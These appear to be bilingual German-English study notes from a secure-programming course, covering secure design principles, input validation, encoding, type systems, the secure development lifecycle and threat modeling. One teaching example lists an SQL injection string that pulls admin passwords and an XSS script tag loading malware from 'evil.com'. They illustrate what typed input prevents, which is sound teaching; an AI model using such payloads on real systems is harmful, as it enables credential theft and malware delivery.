SPRG - HSLU 19

• SIEM readiness: relevant log entries should be designed upfront.
• Define auditable events: Login, failed-login, high-value transactions, etc.
• Provide sufficient context with log entries for forensic analysis
• (yet, keep privacy in mind!)
• Log stream should be fed into an log management solution that monitors for suspicious entries and raises alerts.
• Prepare with incident response and recovery plans.

• Minimum Exposure:
  • System abhärten: Nur nötige Komponente / Libraries installieren.
  • Expose only necessary funtionality
• Simplicity:
  • Je komplexer ein System, desto anfälliger ist es.
• Defense in depth:
  • Mehrere Abwehrmechanismen verwenden (verhindertsingle point of failure):
    • SQL injection: validate and encode input, used prepared statements…
    • XSS: validate and encode input, escape output, use secure content policy…
    • XEE: configure XML parser, preprocess XML with lexical parser…
    • CSRF: use anti CSRF tokens as well as same-site session cookies…
• Least privilege: So wenig Rechte wie nötig. Prozesse und Applikationen sollten mit den geringstmöglchen Rechten laufen.
• Compartmentalization: Dinge voneinander abschotten:
  • Infrastruktur: DMZ
  • System / Applikation segmentieren
• Minimum trust and maximum trustworthiness: Wenn andere Systeme verwendet werden, nur das nötigste erlauben.(Daten so gut es geht validieren, encode etc.)
• Traceability and complete mediation:
  • Requests, remote and local system calls across trust boundaries are logged and monitored for:
    • Security breaches
    • Attack patterns
    • Anomalies

Validation überprüft die Eingabe. Folgendes sollte übreprüft werden:

• Check origin: if it is from a trusted user / from a trustworthy source address
• Check size: is input data of reasonable length
• Lexical check: may include scanning of input data
• Syntax check: may require parsing of input data to validate it against the schema of the domain model (i.e. XML or JSON)
• Semantic check

Beispiel:

private void validateAccountNo(String accountNo) throws ValidationException {
    if (accountNo == null || accountNo.length() == 0) {
        //it cannot be null
        throw new ValidationException("Account is required");
    } else if (accountNo.length() != 11) {
        //it should be 11 long
        throw new ValidationException("Account number should be 11 characters long");
    } else if (!accountNo.matches(ACCOUNT_NO_PATTERN)) {
        //it has to match patter
        throw new ValidationException("Account number is in invalid format");
    } else if (accountService.getAccountDetails(accountNo) == null) {
        //account should exist
        throw new ValidationException("Account does not exists");
    }
    //ok all validations passed
}

private static final String ACCOUNT_NO_PATTERN = "^\\d{1}?-\\d{6}?-\\d{2}?$";

Sanitization: Potentiell gefährliche Zeichen aus dem Input löschen. Bei HTML gegen XSS:

• Script Tags löscen
• Attributwerte die mit javascript starten

Encoding:Logical representation of text -> sequence of binary digits from a well defined set. You usually encode input:

• Bei HTML (<> to &gt, &lt)
• Chracter Endoing (UTF-8, UTF-16)
• Base64 um Binärdaten als ASCII Text anzuzeigen

Escaping (Untergruppe  von Encoding): Replace only certain characters or prefix them,
typically control characters so that they are interpreted as data

• You usually encode output (or data passed to a parser)
• For example
  • SQL: WHERE name='O\' Connor’
  • OS command: ls My\ Folder\ *

Dynamic or static regarding when type checking occurs

•Dynamic typing does not do type-checking at compile type

•Static typing performs type checks at compile time

Weak or strong regarding how strict the system is

•Weak type systems implicitly convert value from actual to expected types

•Strong type systems require explicit conversions

Languages usually have a dynamic and weak or a static and strong type system.

•If you have an expressive type system you want to check your code against its rules before it executes.

Weak with implicit conversions (JavaScript)

•“42” + 1 = “421”

•“42” == 42 is true
(“42” === 42 is false)

Strong with explicit conversions (Java)

•“42” + 1 => error

•Integer.parse(“42”) + 1 = 43

•”42” + Integer.toString(1) = “421”

//it takes a type any so it bypasses compile time checking

function quacker(duck: any) { 

    //it accepts anything as long as it can quack

    duck.quack();

}

quacker({ quack: function () { console.log("quack"); } });    //it is fine

quacker(42) //only this will result in an error at RUNTIME

interface Duck {                 // there is a type for ducks

    quack(): void;

}

//the function only takes instances of type Duck

function quacker(duck: Duck) {   

    duck.quack();

}

var ducklike = {quack: function () { console.log("quack"); } }

//this fails at COMPILATION as duck as variable ducklike is not of type Duck

quacker(duckling);

quacker(42); //and this too, already at COMPILE time

Imagine there is a webpage:

•http://internal.bankintra.com/showprofile?username={USERNAME}

•If Username is String it can be: 

•a valid username: i.e. vargadaniel108

•a malicious value for SQL injection:

•i.e. ‘ UNION SELECT USERNAME, PASSWORD FROM USERS where ROLE = ‘ADMIN’ -- 

•a malicious value for XSS to inject JS into the profile page

•i.e. <script src=’http://evil.com/malware.js’>installMalware()</script>

•a very huge value to bring the system down, i.e. if there is poor validation

•Are these values possible if username must be of type Username?

•The answer is NO. (given the type definition from the previous slide)

However, as you know there is still a plethora of vulnerabilities it does not protect from

Ein Misuse Case beschreibt, welche Funktion ein System nicht zulassen darf. Sie brauchen ihn, um nicht-funktionale Anforderungen wie Sicherheitsanforderungen zu ermitteln.

Ergänz den Misuse Case mit Mitigations um den Threat zu behandeln.

The receiver reacts differently as expected by the sender!
Reason: the implementation of Dec is wrong!

Mit Hilfe der Common Criteria for Information Technology Security Evaluation lassen sich IT-Produkte nach allgemeinen Kriterien bezüglich ihrer Sicherheit bewerten. Bei Common Criteria (CC) handelt es sich um einen international anerkannten Standard.

Die Summer aller Angriffspunkte, welcher ein Angreifer anwenden kann. Ziel ist es, das attack surface so gerin wie möglich zu halten.

Premitere Security: Herkömmliche Security an den Aussengrenzen mit Accescontrol, Firewall, Antivirus.

-Applications are doors in the walls.

-More and more applications offer direct
access to users outside.

-There are not many simple holes in the wall
(the operating system) any more: It’s easier
to attack the applications (the doors).

Vulnerabilities. Programmierfehler oder Fehler in der Konfiguration.

Exploit: Exploiting weak points of systems or applications

Malicious Software. ... just software doing something the user or owner of the computer does not like.

(Virus, worm, trojan etc)

Von Beginn an.

Weil Fehler je länger sie bestehen teurer werden. Das grundlegende Design kann später nicht mehr geändert werden

Waterfall: Linear, einfache definition von Meilensteine, nicht flexibel

Prototyping: Iterativ, mehr Freiheit für Entwickler, Schwierig zu managen.

Unified processing: Kompromiss zwischen Waterfall und Prototype. In einigen Situationen zu mühsam.

Agile Development: Funktional und Kundenorientiert.

SCRUM: Processmodel  for agile methods.

Unified Process is function oriented
Scrum is time oriented

Anforderungsanalyse: Was will der Kunde?
Spezifikation: Was muss sie können?
Design: Wie wird sie implementiert?

Training: Schulung von  Security und Privacy inkl. Trends für Entwickler.
Requirements: Security und Privacy Anforderungen bestimmen, Bug Bars setzen.
Design: Attack surface analyisiere, Threat Modeling.
Implementation: Prozesse, Dokumentation und Tools für sichere Porgrammiern & Betrieb bestimmen.
Verification: Security Response Planning, Fuzz Testing.
Release: Klare Support Policy definieren, SDL requirements übeprüfen, keine relevanten Vulnerabilities übrig.
Response: Wartung, Response betreffend Security Respone Planning.

Was wird trainiert, wie häufig wird trainiert, wie viele Prozent der Entwickler trainiert

Fehlerschranke: Wie viele der Threads die definiert sind müssen behandelt sein, damit die verlangte Sicherheit erreicht ist.

Example Bug Bar: no known vulnerabilities in the applicationwith a “critical” or “important” rating at time of release.

NF: Beschreibt, wie ein System eine Aufgabe durchführt. Teilweise schwierig zu testen (Beispiel: Performance, Robustness, Safety, Effieciency)

Functional: Funktional haben Akzeptanzkriterien => als Funktion implementierbar z.B. Passwortmindestanforderungen

CIA (Confidentiality, Integrity, Availability)

Das Herausfinden von Bedrohungen für ein System => Bedrohungsanalyse

Aus der Sicht des Angreifers

Threat klassifizieren: STRIDE, Attack tree

Threat bewerten: DREAD